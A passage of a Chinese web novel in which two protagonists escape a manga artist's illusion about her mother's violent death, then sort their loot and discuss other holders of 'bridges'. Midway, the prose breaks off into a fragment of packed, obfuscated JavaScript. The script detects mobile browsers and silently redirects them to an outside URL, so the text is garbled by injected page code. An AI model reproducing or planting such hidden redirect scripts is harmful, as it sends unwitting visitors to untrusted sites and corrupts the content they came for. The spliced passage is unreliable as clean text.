“馆长，我记得你当年用这艘船从海啸中活下来过，是么？” 王沐恩警惕地看了姜渔一眼，不知道她是什么意思，但还是配合的说：“是。这件事有什么需要确认的？” “我想问你……”姜渔盯着王沐恩说：“如果再遇上一次海啸，你还能驾驶这艘船活下来么？” “海啸？” 王沐恩这次彻底疑惑了，“什么意思？” “大约十分钟后，这里将会发生一场海啸。”姜渔语气平静，“高度差不多几千米，会淹没整座城市的程度。” “几千米？开什么玩笑，除非是陨石来了。”王沐恩眉头紧皱，“你到底想干什么？” 姜渔抬起枪指向墨墨，说：“你只需要回答问题。” “别，我说。”王沐恩肉眼可见地紧张起来，她短暂思考后便说：“在那种海啸下，没有任何生还的可能，这和我什么经历无关，谁来驾驶都是一样。” “跟船有关么？”姜渔并不惊讶，“附近港口有没有能活下来的船？” “没有。”王沐恩果断摇头，“这里的港口自从海啸之后已经废弃很久了，军事基地同样也随之撤离。103搏洋舰虽然退休了，但仍是这座城市装备最完善的舰船。” “明白了。”姜渔看向馆门，缓缓说：“那如果，只是穿过第一道浪呢？” “穿过？” 王沐恩陷入沉思，良久，说：“103搏洋舰配备了高端的引力稳定装置和水下推进系统，短时间内，极小概率可以穿过第一道浪。但动力绝不足以撑到深海区，甚至撑不过第二道浪。” “足够了。” 姜渔回头看向辛司政，辛司政正凑在墨墨身边。 辛司政：“你知道你是活在漫画里吗？” 墨墨表情抗拒又嫌弃。 辛司政百折不挠，盯着墨墨：“你活在漫画里，你活在漫画里，你……” “可以了。”姜渔推了辛司政一下，说：“上船。” 在姜渔与辛司政的威胁下，剩下的学生们开始爬梯登船。 姜渔不放心，枪指着豪猪头和猎狗：“你们两个，如果把炸弹安装到船后，再定向爆炸，会损坏船体么？” 豪猪头惊了：“炸弹的事你都知道？” 姜渔不耐烦地掂掂枪：“回答问题。” 豪猪头目光清澈：“如果船前空间足够的话，可以将船推走几百米吧。” “安到船后。” 姜渔从猎狗身上翻出遥控器，催促说道。 又是半个小时过去，豪猪头与猎狗吭哧吭哧在舰船尾部布置了所有炸弹，被姜渔用枪抵着背，上了船。 姜渔登上甲板，看到所有人都老实聚在甲板中央，王沐恩从船长室走出来，说：“燃料已经清空了，只有装载的备用电力可以使用。” 王沐恩眉头疑云愈来愈重：“你到底在搞什么把戏？” 姜渔没回答，她快步走到墨墨身前，掏出身边辛司政腰间的保安手枪，二话不说，扣动扳机！ 墨墨顿时吓得闭上了眼！ 与此同时，地震发生。所有人脚下不稳，七倒八歪。 墨墨也乱了阵脚，她稳住身形后，睁开眼看向姜渔，不知道对方在搞什么把戏。 姜渔丢掉没有子弹的保安配枪，望着馆门的方向，说：“我带你们去见银月侠。” 众人随着姜渔深邃的目光看过去，纷纷愣住了。 远处，滔天的巨浪，开始袭来！ 王沐恩脸色煞白，瞬间进入状态：“都躲到船舱里去！” 这一次，不用姜渔再发话，所有人都开始听从指令，向甲板下逃去。混乱中，姜渔与辛司政一左一右，牵着墨墨的手，将她紧紧护住。 “妈！”墨墨挣扎着，回头尖叫。 姜渔攥紧她的手，目光冷然，闷声向下。 三人跃下甲板，来到船舱中幽暗的走廊。走廊中，每个人脸色惨淡，呜咽不止。 辛司政将墨墨按至蹲下，整个人护住墨墨，与姜渔对视，点了点头。 绝望的空气在走廊中蔓延，很快，一声巨响从甲板上传来，整个船开始剧烈地摇晃起来！ 巨石砸碎甲板，海水倾灌而入。 姜渔与辛司政护着墨墨，咬紧牙关，一言不发。 海水眨眼间已经蔓延至腰间。 姜渔掏出遥控器，按下启动键，一股巨大的推力瞬间产生！走廊中海水顿时都涌向舰尾方向，又撞击回来，又一轮尖叫声不断！ 这些人在摇摆的走廊中，随着海水荡来荡去，不知多久过去，纵深极长的走廊中，海水渐渐平息。 姜渔抬头看去，甲板上的窟窿，海水淅淅沥沥地滴着，不再是汹涌的倒灌之势。 姜渔与辛司政对视一眼，说：“上去。” 辛司政率先攀爬阶梯，墨墨跟上，姜渔最后爬上去，发现舰船已经不再被海水包裹，一旁，墨墨飞扑向从船长室狼狈走出的王沐恩。 然而，奇怪的是。 姜渔发现这艘船并没有航行在海平面上，而是整艘船诡异地停滞在半空中！ “银月侠呢？”姜渔皱眉问，“在船下？托着我们？” 这时，墨墨也发觉他们的境遇诡异所在，左顾右盼起来。 下一秒。 天忽然下起了血雨！ 黏稠的鲜红血液，连成一片一片的瀑布，从天上洒下，淋在每个人的身上。 姜渔下意识想去保护墨墨，却看到墨墨怔怔地看向天空。 她喃喃说：“银月侠……” 姜渔不禁抬头看去。 血雨之后。 一轮银色圆月，高挂在空中。 …… 圆形吸顶灯冷光幽暗，照亮这间屋子。 这是一间很小的屋子，一室一厅一卫。客厅即是厨房，又是书房。 倪中墨对这间屋子并没有什么不满，相反，她觉得很幸福。 她学习优异，可以拿到每个学期的奖学金。 她的妈妈在纺织厂上班，虽然收入微薄，却不用为她的学费操心。 她有一个好妈妈，即便不用付出学费，妈妈还觉得亏欠，无论倪中墨有什么课余爱好，妈妈都会尽力满足。 倪中墨喜欢看漫画。 她是个很懂事的孩子，她的爱好并不昂贵。 于是妈妈回来时，总会买给她一本漫画。 倪中墨现在就在看漫画。 她趴在圆桌上翻阅漫画，能闻见许多种菜的味道。这是她的书桌，也是她和妈妈的餐桌，更是她和妈妈的会议桌，她们总是在这张桌子上计划每个月的开销。 倪中墨觉得在这张桌子上，自己做什么事都觉得满足，什么困难都可以被克服。 她看的漫画是一本少女热血漫，讲述一个少女被银月侠救下后，也开始匡扶正义的故事。 她正在看这本漫画的第99页。 女主角和同学们进入了博物馆参观，忽然，一伙妖人冲进来开始绑架！ 那伙妖人很可恶，为首的豪猪头第一个就拉走女主角，要杀掉女主立威！ 女主的妈妈为了救女主死掉了！ 女主被豪猪头再次抵住了额头！ 扳机扣动了！ ……该怎么办？银月侠一定会出现的吧！ 倪中墨看得又痴迷又紧张，她迫不及待地翻到了下一页。 隐隐约约的，她看到之前救过女主的银月侠果然出场了！ 可这时候，门锁忽然被打开了。 妈妈走进来，神色疲惫，目光中却带着温暖的笑意：“做完作业了呀墨墨，妈给你做饭。” 咔嚓一声。 妈妈关上了门。 “嗯！” 倪中墨重重点头，她回过头继续看漫画，又有些出神。 因为她听到身后传来妈妈换衣洗菜的声音，内心全部被幸福填满了。 “专心看吧。” 她心想着，回过神，将目光聚焦到漫画上。 她的神智有一瞬间的恍惚，但并没有深究。 她看到…… 女主角和同学们正在进入博物馆参观。 忽然，一伙妖人冲进来，枪声大作。 他们要绑架！ …… 倪中墨津津有味地看着，又看到了女主角要被豪猪头杀掉的那一格。 银月侠，一定会出现！ 倪中墨连忙翻页。 门锁忽然开了。 妈妈说：“做完作业了呀墨墨，妈给你做饭。” 咔嚓一声，妈妈关上门。 倪中墨点头应声后，回过头。 又是一阵恍惚。 她又开始看起漫画的99页，房子里空荡荡的只有她一个人，妈妈已经凭空消失，时间不知不觉倒退到几分钟前。 翻页，门开，妈妈回来，关上门。倪中墨转过头，再看向漫画。 小小的房子里，不断重复着这几分钟的场景。 直到不知道多少次的循环后。 倪中墨不知疲倦地看着九十九页，她眉头一皱，发现漫画中的管理员姐姐怪怪的。 嗯……有些抢戏。 但不重要，倪中墨顺着剧情看下来，再一次翻页。 循环再次周而复始。 倪中墨又像第一次观看一样，看漫画的九十九页。 她眉头皱得更紧了。 “这个管理员角色和保安角色是怎么回事？他们是主角团吗？怎么在这里这么多戏？作者是不是脑子坏掉了？” 倪中墨心里腹诽着，心想这都不如我画的。 她翻页，开门声响起，妈妈回来。 “做完作业了呀墨墨，妈给你做饭。” “嗯！” 循环再次降临。 倪中墨看漫画的目光更加疑惑了。 这一页漫画上……好多格子！好多剧情！怎么回事！ 倪中墨看得很痛苦，这一页上的剧情远远超过了正常体量：为什么那个 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她终于开始翻页。 奇怪的事情发生了。 倪中墨想将漫画翻到下一页，却发现被什么挡住了，纸张没有办法顺畅地落下，而是被抵着竖在书上。 倪中墨只好重新将漫画翻回到九十九页，看看到底是怎么回事。 咦。 她惊呼出声。 漫画书上，九十九页的尾格，像是融合了立体书的设计一样—— 一艘破烂不堪的舰船，竟赫然栩栩如生地冲出漫画，昂扬在纸张之上！ 好精致的设计。 倪中墨心里赞叹着，下一秒，眼眶中逐渐溢出惊恐： 她看到精致的纸船上，几个小小的纸片人竟然爬出甲板，开始移动！ 不等倪中墨反应过来，门锁忽然被打开了。 妈妈神色疲惫，目光柔软：“做完作业了呀墨墨，妈给你做饭。” 咔嚓……一声。 妈妈随手关门，却没有成功。 她惊疑不定地向后看去，一双带着皮质手套的大手抵住了门框。 一个高大的男人，带着劣质的猪头面具。另一个瘦小的男人，带着狗头面具。 “抢劫！” 猪头男猛地撞开了门，一把枪抵在妈妈的头上。 猎狗男跟上脚步，进屋后随手关门，那双隐在面具后的狭长双眼看到倪中墨后，愣了一下。 “大哥，这里还有个小姑娘，让咱俩先放松一下吧，嘿嘿……” 猎狗□□着向倪中墨走来。 “离我女儿远点！滚！滚开！” 骤然间，倪中墨的妈妈尖叫出声！ 她一把推开强壮的猪头面具男人，拿起餐桌上的银色餐刀，没有丝毫犹豫地扎向猎狗的喉咙！ 一时间，鲜血四溅！ 猎狗不可置信地捂着喉咙向后转身，另一只手不甘心地抬起钳住倪中墨的妈妈。 猪头男反应过来，砰砰两枪，打向倪中墨的妈妈。 猎狗男却露出更绝望的眼神。 他发现这个该死的中年妇女，闷哼两声后，力气竟然变得更大了！ 他钳住对方喉咙的手，在一寸寸被掰开。 他看到一双令人畏惧的眼睛，眼神中燃着怒火与生命，那双眼睛的狠戾已经超出了猎狗男的理解，他忍不住地发抖，可女人已经用餐刀割掉了他的半个头颅！ 女人转身，看向猪头男，猪头男颤着手开枪，因为颤抖，一枪枪都没有击中头颅，而是打在上身的各处。 女人血流如注，她的目光已经涣散，脚步已经踉跄，但语气还是强硬得可怕，像是来自地狱幽魂的嘶吼。 “滚开！” 猪头男的枪中已经清空了子弹，他看着猎狗男支离破碎的头颅，发自内心地恐惧，他转身，想开门，却已经晚了，女人的匕首绞碎了他的心脏。 这一切发生得极快，从骤变到结束，不过一分钟。 倪中墨还是个孩子，她被吓傻了，反应过来的时候，眼中只剩下满地的鲜血。 她的妈妈倚着猪头男的尸体，缓缓滑在了地上。 她看见妈妈目光涣散地说：“妈……妈给你做饭……” 下一秒，她的妈妈去世了。 那是一种久违的悲痛。 她忽然多了很多记忆。她知道这种悲痛不是突然发生的，它已经持续了很多很多年。当她满头银发的时候，她还在咀嚼着这种悲痛。 她不是小孩了。 倪中墨回忆起很多事情。 这时，漫画书上，小小的姜渔与辛司政也看到了那一轮圆月，那是劣质的冷光吸顶灯。她们看到那些鲜血降落的源头，是猎狗男人与中年妇女拼杀的鲜血。 姜渔与辛司政开始翻越护栏，跃下舰船。 当他们离开舰船的瞬间，两人身形瞬间变大，恢复成原本的大小。 两人磕磕碰碰地摔在了餐桌旁。 姜渔撑着胳膊起身，却看到倪中墨妈妈的尸体，正看着自己的方向。 她的胸前，挂着纺织厂的铭牌，上面刻着她的名字。 王银月。 姜渔顿时了然。 这个世上没有银月侠。只有一个拼命救下女儿的妈妈。 75. 九十九页（完） 客厅中，倪中墨看着母亲王银月的尸体，目光悲戚。 姜渔注意到墨墨眼神中的那种悲伤，绝非一个中学生所有。那是一种带着看尽千帆的沧桑与感慨的眼神。 姜渔出声：“倪中墨？” 倪中墨回过神来，看向突兀出现在客厅中的二人。 她已经从幻境沼泽中恢复意识，知道这里的一切都是幻境，但还是对二人忍不住地好奇。 她看出来这两人是漫画中的“管理员姐姐”和“保安大哥”，于是努力回忆起在之前循环中看到的名字：“姜渔？辛司政？” “是。”姜渔应下，“看来你已经清醒了，知道怎么从幻境沼泽里出去么？” 倪中墨点点头：“似乎，只要合上那本漫画，就可以了。” 她说完话才后知后觉，小小的嘴逐渐张大：“你们也知道这里是幻境沼泽？你们是人类？！所以你们才能把漫画变得那么离谱？” “很神气吧，我也是这么想的。”辛司政感叹一句，好奇地左看右看，问：“这也是我第一次在幻境沼泽中清醒地行动，所以……你是怎么陷入幻境沼泽的？” “取材。” 倪中墨苦笑着说：“我是一名漫画家，最近有了些灵感，就前往一家科研所取材。那里收藏了许多辐射物，虽然辐射程度已经降到最低，但可能是我年级大的缘故，还是中招了。” “怪不得。是漫画家。”辛司政情不自禁地感慨，“年纪大？您画过什么作品吗？” 倪中墨莞尔一笑：“我的笔名，叫九十九页。” 一时间，辛司政目瞪口呆，姜渔也不禁动容。 九十九页，漫画界赫赫有名的人物，笔下创造出许多受人追捧的少女主角，在一个个引人遐想的世界中冒险。诸多ip都被改编成电影剧集，温不朽更是常常担任其改编剧中的各种男主。 这名漫画家，有知名的强迫症。她的所有漫画单行本，只有九十九页。这个怪癖在她刚出道时，曾引起过一阵不满，但因为她笔力强悍，剧情新奇，愣是维持着这个怪癖，从众多漫画作品中杀出重围，成为漫画界的一代宗师。 现在看来…… 她的怪癖，即是她无法跨过的精神锚点。 姜渔想着，目光落在圆桌上的漫画，那里的页码是98-99页。 “我上学时还看过您的作品呢，绯红列车。”辛司政万分感慨地说，“当时看主角团拯救世界看得热血沸腾的，我真是个维护和平的正义少年。” “那是很早期的作品了。”倪中墨会心一笑，“现在呢？你的梦想实现了么？” “我现在为公民提供快递运输服务。”辛司政义正严词，没好意思说出“精卫”的名头。 “也是很危险很冒险的事情。现在这个时代，多亏有你们，才让我们还能享受到便捷的服务。”倪中墨温声说道。 姜渔听着两人的对话，漫不经心地插嘴问：“只是取材的话，您为什么会去那么危险的地方？” “海猫神。两位听过么？” 姜渔眼神闪烁，知道来到重点，说：“听过。” 辛司政也点头，说：“听过。猎人论坛上有消息，感觉像什么动漫角色一样。” 倪中墨笑着点头：“我听到的传闻更多一些，在幻境沼泽中，有人遇到过被称为海猫神的动物，可以将人救出幻境沼泽。” 辛司政不由自主地看向姜渔。 倪中墨继续说：“我对海猫神很感兴趣，想把她画成漫画，其中涉及到一些辐射物的设定，才拜托老朋友带我去参观。现在，肯定给他们添了不少的麻烦。” 倪中墨无奈地摇了摇头，又意味深长地看向二人：“不过，还是值得的。我想，我应该真的见到海猫神了，对吗？” “呃……”辛司政有些为难，“如果是指我们的话，或许可以想一个更酷的名字？您应该很擅长取名吧？海猫海狗的像是动物园一样。” 姜渔却微微一笑，“就当作是海猫神的帮助吧。” 倪中墨顿时会意，她转过身，手附上那本血染的漫画，语气感慨。 “当年，这件事发生后，我就患上了一种关于九十九的数字强迫症。我恨自己当初什么也没做，只能眼睁睁看着母亲为了救我与匪徒同归于尽。” “我一直想着，如果可以停在那一天就好了。” “我没有办法原谅自己，没有办法将心里的那本漫画翻到下一页，我怕自己没了良心，忘了曾发生过的事情。” 倪中墨摩挲着漫画，再次流下两行清泪。 这不是属于中学生失去母亲的眼泪，而是一个老人在回忆涌上心头时，悔恨与痛苦的泪水。 姜渔上前拍了拍她的肩膀。 她没有说“你妈妈会希望你更向前走”这样的话。对于一个老人来说，倪中墨肯定在无数个夜里与自己对过话。无论是在悔恨中过活还是看开一切，她早已经做出了答案。 果然，倪中墨擦了擦泪，笑着说：“但算了。经历这一次幻境沼泽后，我想，我应该放过她，也放过我自己。不然，她在天之灵，看到这么多年过去，自己的女儿还因为母亲的原因困在幻境里，肯定会又急又气的。” 姜渔轻声说：“嗯。” “只是很遗憾。”倪中墨看着母亲的尸体，语气孤独，“好多年了，我还是没有吃到你做的饭。妈妈。” 客厅中，一时陷入寂静。 辛司政上前，轻轻合上王银月的双眼。 “总之，谢谢你们。” 倪中墨深吸了一口气，说：“我要走了，不能让我的朋友担心太久。” 姜渔说：“好。” 倪中墨翻手合上漫画，眨眼间，身形消散在客厅之中。 姜渔转头问：“你知道怎么回去吗？” 辛司政点点头：“好像和在桥上前往现实一样的流程，我能感觉到现在只要想走，就能回到桥上。” 他忍不住地感慨：“太疯狂了，这就是桥的正确用途吗？救死扶伤？” “说不准。”姜渔说：“那就现实里见。” 接下来，姜渔目送辛司政在客厅中迈出两步，身形同样消失后，自己也迈开步子。 脚下开始浮现木地板，四周场景化为虚空，一个人走向木地板小路尽头的卧室门去。 数十秒后，姜渔打开卧室门，踏入1301室的客厅。 纪小麦正坐在卧室门旁守着，她抬头看到姜渔回来，急忙起身。 纪小麦眉头紧皱：“除了唤醒你之外，你有再听到我的声音吗？我喊了很久。” “没。”姜渔说，“以往我们在幻境沼泽里通话，都是在幻境沼泽崩塌的时候。可能这一次进行得比较顺利。” 姜渔活动了一下脖子，补充说：“虽然也没有那么顺利啦。” 纪小麦跟在身后追问：“是吗？里面到底是怎么回事？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808443|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜渔一字不漏地复述了整个过程。 纪小麦的表情千变万化的，当姜渔讲完后，仍久久不能回神。 纪小麦努力整理了一番思绪，说：“所以，有其他人可以进入幻境沼泽？他们拥有跟1301室一样的能力？桥？” “没错。”姜渔说：“至于跟1301室是否全部一样？我看未必。至少辛司政的桥，只有他一个人，所以他第一次进入幻境沼泽后，不会听到别人的呼喊，很难醒过来。若不是有什么通桥证，他很可能直接死在里面了。” “看来，我们这里会更特殊一点。”纪小麦又说，“不过，提升身体强度的道具，我们可以注意一下，这会成为你在现实中的依仗。” 姜渔也是这么想的，迫不及待地说：“那就先看看这次的战利品吧。” 说罢，纪小麦立即掏出手账本。 破解幻境沼泽，收获9颗晶核。分别为10期5颗，20期3颗，30期1颗。 姜渔满足地长舒一口气：“总算攒够这个月的房贷了。” 纪小麦也轻松不少，“让我们看看滞留物品吧。” 这一次，滞留物品兑换券上，可以兑换的物品同样写着“二”。 至于滞留物品，依然种类众多—— 没有子弹的佩枪；剧情乱七八糟的漫画；价值不菲的舰船模型；奢侈品牌的墨镜；被水泡烂的手机；市重点三中的校服；简陋的微型对讲器；年代久远的原木餐桌…… 纪小麦认真念下来，说：“从形容词上来看，舰船模型和墨镜很有用。” 姜渔说：“确实，但是除了模型可能对我们的装修进度有帮助，墨镜的作用未知。太功利的去选，或许帮助不大。” 两人对话之际，姜渔看到兑换券上，“舰船模型”与“墨镜”两个字样，逐渐淡去，直至消失不见。 纪小麦瞪大眼睛：“这……这是怎么回事？有时间限制？再不选都会消失？！” “别急。”姜渔隔着虚空搂住纪小麦的肩膀，看着兑换券良久都没有异样，才说出自己的猜想：“可能是被辛司政兑换走了。” 同一队人，进入到同一个幻境沼泽，那么收到的滞留物品兑换券可能也是一样的。 “原来如此。”纪小麦瞬间理解了姜渔的猜测，没好气地说：“这个辛司政真是有够贪财，又骗人又抢贵的兑换！” “他也不知道我们会共享滞留物兑换，应该没有抢的动机。而且，滞留物不能带入现实，如果他是打着变现的主意，恐怕要失望了。”姜渔淡淡一笑，“希望对他的桥有帮助吧。” …… 另一边，骨桥桥头。 “还好我兑换得快，要是我和姜渔共享同一批滞留物就麻烦了。” 辛司政咧个嘴笑得很是小人，他收起忽然出现在草地上的一个精致模型和一把墨镜，美滋滋地戴上墨镜，心念一动，身形消失，墨镜和舰船模型都摔在地上。 很快，辛司政又出现在桥头上，表情烦恼：“滞留物没有办法带到现实里吗？那有什么用？” 他挠着头，站到桥头的石碑前，忽然愣住了。 辛司政擦擦眼睛：“进度怎么还少了百分之一？” 他对面的石碑下侧，刻着这样一行字。 “桥梁工程进度：7%” “这个团队怎么干活的，桥还没建完摆什么舰船模型？负责人还吊儿郎当地戴个墨镜，真是不靠谱。” 76. 升级 1301室。 见兑换券再没有动静后，姜渔与纪小麦短暂商议，定下了一张原木餐桌，与券上排名很靠后的“绑架犯的速食热狗”。 纪小麦将其画钩兑换后，餐桌与热狗都出现在了1301室中。 姜渔目光一动。她注意到餐桌即是倪中墨家里的那一张。应该是经过了翻新，圆形餐桌虽然被标注“年代久远”，但外观上并没有什么大的瑕疵，颜色更是与地板相得益彰，反而为家中增色不少。 纪小麦上前打开牛皮纸袋包装的热狗，瞬间发出一阵干呕的声音。 “怎么了？” 姜渔连忙凑上前，当看清热狗的模样后，脸色顿时阴暗下来。 牛皮纸中，两片黑色油腻泛光的“面包”，夹着一根墨绿色香肠，中间淌着暗红的番茄酱，这是一根极其恶心的热狗。 纪小麦踉跄着起身去拿小黑板，侧身递给姜渔，另一只手捂着眼睛，不忍去看所谓的热狗，只说：“看看再丢吧。” 姜渔接过黑板，贴到热狗上。 黑板上显示出文字： “绑架犯的常备食物，食材分别为衍生体大腿肉制成的香肠，与衍生体皮肤熬制而成的胶质面包，再撒上几滴衍生体精血，构成了软糯有嚼劲的特殊口感。一般来说，狗都不吃。但对恢复体力与加强体质有奇效，是绑架犯的最爱之一。” 纪小麦眼睛一亮：“可以加强体质诶，看起来美味多了，要不然你呕呕哕……” 姜渔冷着脸掠过俯身干呕的纪小麦，将黑板放到餐桌上。 黑板上现出文字：“一个温馨的家，拥有净化一切苦难的力量。最昂贵的餐桌比不上家里的餐桌，最精致的点心比不上家里的味道。在这张来自幸福小家的餐桌上吃饭，无论什么食物都会变得无比美味。” 姜渔一下子笑了。 纪小麦凑过来，惊喜出声：“果然是这样！” 几分钟前，两人针对兑换券清单商讨时，发现只有餐桌可以肯定对装修进度有帮助，她们又推测餐桌如果有特殊功能，或许会跟食物有关，这才选择了热狗。 没想到如此有关。 姜渔立即将热狗放到餐桌上，自己站在餐桌旁，与纪小麦深深对视一眼，鼓起勇气，闭起眼睛，将热狗咬了一口。 姜渔嚼了几口，眼眶瞬间湿了。 纪小麦看到姜渔的泪眼，十分惊讶地问：“变得这么好吃？” “难吃，狗都不吃。”姜渔眼泪在眼眶中打转，“但我的大脑居然在不断告诉我它很好吃它很好吃。” “什么意思？” “我的舌头在告诉我它真实的味道，餐桌的力量却在我大脑中作祟，劝我多吃一点，并分析它到底好吃在哪里。” 纪小麦若有所思：“哦，果然是家的力量。妈妈总会跟你说你不爱吃的东西有多好吃。” 她看到姜渔狼吞虎咽的，有些担心地说：“可是难吃就不要吃了啊。” “已经吃了，干脆都吃掉。” 姜渔努力一口口嚼着，含糊不清地恨恨念出大脑自动分析的好吃之处：“口感软糯！入口即化！这是脂肪的香味，很快，软糯的口感变得有嚼劲起来，咯吱咯吱，十分上瘾解压！香肠肉质甜美，香气四溢……” 姜渔报复似的念出通稿一般的文字。 酷刑很快结束了。 纪小麦凑上前：“感觉怎么样？” 姜渔闭目感受良久，说：“没有任何提升的感觉，只觉得有点开胃。” “这不会对你脑子有什么影响吧？” 纪小麦忧心忡忡地去摸姜渔的额头。 姜渔睁开眼，说：“没事，吃一堑长一智，下一次就不选这些乱七八糟的了。” 纪小麦沮丧地叹了口气。两人又翻开手账本，看到装修进度已经达到了2%，才抵消了热狗的打击。 闲聊几句后，姜渔发现纪小麦的眼神时不时地瞟向手机，她明白纪小麦是真的找到业余生活了，便说：“看来你游戏打得很成功？” “嗯！” 来到纪小麦最近生活的重心，她忙点头，说：“这个手机绑定的银行卡里，每天会多出一万块钱。我从没打过这么富裕的游戏！” “都是幻体，你要小心。”姜渔不禁提醒道，“万一与幻体接触过久，思绪也会受到影响呢。” “放心吧，我心里有数。”纪小麦拍拍胸脯，“我把他们欺负得可惨了，现在我就是公会里的老大。” 姜渔不想再阻挠下去，感觉自己再劝阻就成了那种劝孩子少打游戏的父母。而纪小麦已经是一个孤独的灵魂了，她不必再学习，也不会拥有同学。 在自己不在的时候，有一群幻体陪着纪小麦，或许也很好。 想到这里，姜渔说：“那你玩吧，我先回去了，现实里我还拜托了一个小姑娘守着我。” “知道，苗宁象，她很靠谱。”纪小麦发出认可。 说罢，姜渔不再多说，闭目沉思。 …… 再睁眼时，姜渔的第一感觉，是：热。 特别的热！ 她躺在床上，盖着薄薄的被子，屋子里还开着空调，不该有这种体感温度才对。 姜渔起身，攥着被子一角猛地掀开，发现整张床都被汗液浸湿了。那些汗液并非透明，反而带着一丝乌黑与暗紫交杂的颜色。 正疑惑时，姜渔呆呆地看向自己的右手。 她竟然无意间攥破了被子，露出许多白色羽毛。 “力量得到了巨大的提升吗？” 姜渔低声呢喃道，她翻身起身，活动筋骨，这次的感觉更加清晰。精力旺盛，耳清目明，不仅身子轻盈许多，五感也得到了巨大提升。她能明确察觉到肌肉中蕴藏的巨大能量。 “原来体质的升级有这么明显？也不知道有没有到达B级？” 姜渔暗自咋舌。 “你醒了？” 姜渔闻声看去，苗宁象从沙发上睡眼惺忪地坐起来，空调毯滑落在地。 姜渔眼含歉意：“辛苦了，小象。我睡了多久？” “一夜，加一个上午。不久，我也是刚刚睡去。” 苗宁象说着，拿起手机慵懒地说：“没事了，可以走了。” 门外传来一些收拾东西的声音。 “是小溪，我要睡觉时拜托他来守门。”苗宁象看到姜渔眼中的歉意，说：“精卫还是相对安全的，我们守门也没什么危险，举手之劳而已。” “嗯……” 姜渔知道，虽然苗宁象两人已经是好心又谨慎的极致了，但如果有人知道自己的秘密，想采取什么针对性行动的话，肯定会想法设法地侵入精卫。届时，只是留一两个人单纯的守门，恐怕难以抵抗有心之人的攻击。 进入幻境沼泽后的现实安全问题，姜渔决定以后再计划。 苗宁象打了个长长的哈欠，说：“没事的话，我就先回去了，补个觉。” “好。” 姜渔不再多话，默默记下小象两人的帮助，之后总有报答的机会。 身处末世，又从事精卫快递这种危险系数极高的工作，伙伴的多寡也是重中之重。姜渔并不担心亏欠人情的事情，这反而才是伙伴之间的常态。 苗宁象走后，姜渔拿出手机，看到法斯特的留言。 “姜渔女士，辛司政先生约您在员工食堂见面，没有预约时间，只说等您醒了再去。” 姜渔回：“知道了。” 放下手机，姜渔好好冲了个澡，换上一身干净衣服前往食堂。 来到食堂时，辛司政坐在食堂一角，桌上摆着两杯果汁，他面前的一杯已经见底。 姜渔移步过去坐下，打量对方两眼，说：“你拿到了什么？” 辛司政眼睛放光，迫不及待地开始分享：“一些衍生体的脊椎骨，还有一个舰船的摆件，和一副墨镜。你呢。” “晶核，餐桌，热狗。” “咦。难道我们是同一张兑换券？我的券上也有餐桌和热狗。”辛司政颇感新奇，“这不就是联机游戏吗？通关了一个副本之后，大家开始分配战利品？” “我们似乎没有分配。”姜渔微笑，说，“你兑换得很快。” “别提啦，我本来猜到可能会共享一张兑换券，先把两个看上去贵的兑换了。” 辛司政摆摆手，吸了两口果汁，愁眉苦脸地说：“结果既带不到现实来，也不知道有什么作用，还拖慢了我的工程进度。” “工程进度？” “建桥。” “哦。”姜渔眉毛一挑，对辛司政坦白的心思倒是有些好奇，指尖轻叩桌面，“你猜到了，却选择要跟我抢？” “万一能换钱呢。”辛司政靠着椅背，摊手说，“我不是还欠你八十万么？” 姜渔打量辛司政好一会。 辛司政露出一贯的死猪不怕开水烫的坦然表情。 姜渔再次笑了，语气平静：“没关系，以后，现实的事情，放到现实里说。至于桥与幻境沼泽的事——如果你还想在幻境沼泽里拿到什 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“好的。” 辛司政又恢复了散漫的神态，整个人更加放松，几乎是瘫在椅子上，长长舒了口气，“你分配就你分配啦，我无所谓。只要有衍生体脊骨就可以。” 姜渔不动神色：“你不是在现实里也能收集到么？” “唬你的。我很紧张的。”辛司政泄了气，整个人要从椅子上滑下去了。 他很是挫败地扶额闭眼，抱怨个不停：“狗东西，每个月管我要的越来越多，我拼了死命才能缴清，如果没有你，我下个月能不能活着还是另说。到时候别说八十万了，你可能得到我葬礼上随礼。” 嗯……原来每个月需要缴纳的物品还会增长。姜渔暗暗记下辛司政的话，面上随意说道：“那我会先挖出你的尸体，确认你是不是真的死了。” 辛司政说：“肯定是真的，到时候请把我埋回去，再难过地交一下礼金吧。” 姜渔第一次拿起果汁，吸了一口，语气平淡：“如果是真的的话，作为拥有过桥的尸体，卖给谁应该都很有价值的。对吗。” 辛司政正襟危坐起来，讪笑：“哈哈，我还是努力活着好了。” “所以……” 姜渔放下吸管，正色问道：“你在镜花岛中的留言，到底是什么意思？我记得你的留言说过，不要过去。” “嗯。” 提到正事，辛司政严肃不少：“那游戏很怪，我感觉，它在寻找桥。” 姜渔问：“是坏事？” “像你我这种，能一起协作，分享信息，自然是好事。”辛司政眼睛一眯，说，“但我在通关镜花岛的时候，出现了一件怪事。” “什么？” “当时，我察觉到我的桥，有几根骨头松动了……哦，我的桥是由骨头组成的。” 姜渔皱眉：“那意味着什么？” 辛司政一字一顿：“摧毁桥，或者，抢走桥。” “总之。”辛司政又放松下来，总结说：“镜花岛背后之人的存在，对我们而言，是很坏的一件事。” 姜渔转动着吸管。 目前来看，世界上获得“桥”的人，绝非只有她和辛司政而已。这些人身份不明，行踪不定，还面临着现实中如“镜花岛”背后势力的恶意盯梢，更会有意识地隐蔽在社会中。 如果能再找到一两个值得信任的人，带着他们一同进入幻境沼泽，必然会大大提升通关幻境沼泽的成功率。 更何况，这些人很有可能都与辛司政一样，没有在幻境沼泽中清醒的能力。像自己这种拥有唤醒意识的能力，定然是他们可望而不可及的。 小心探查，谨慎接近，确认队友，赚钱还贷。 姜渔在心中畅想了一个未来的还贷计划，抬头向辛司政说：“既然你在镜花岛中选择留言劝阻，肯定是想保护这些拥有桥的人——除了我之外，你有再遇到拥有桥的人吗？” “我说过，有个大哥，但他很难联系。”辛司政眼珠一转，“你想继续找这些人？” 姜渔点头：“我觉得我们应该更了解桥背后的秘密。” 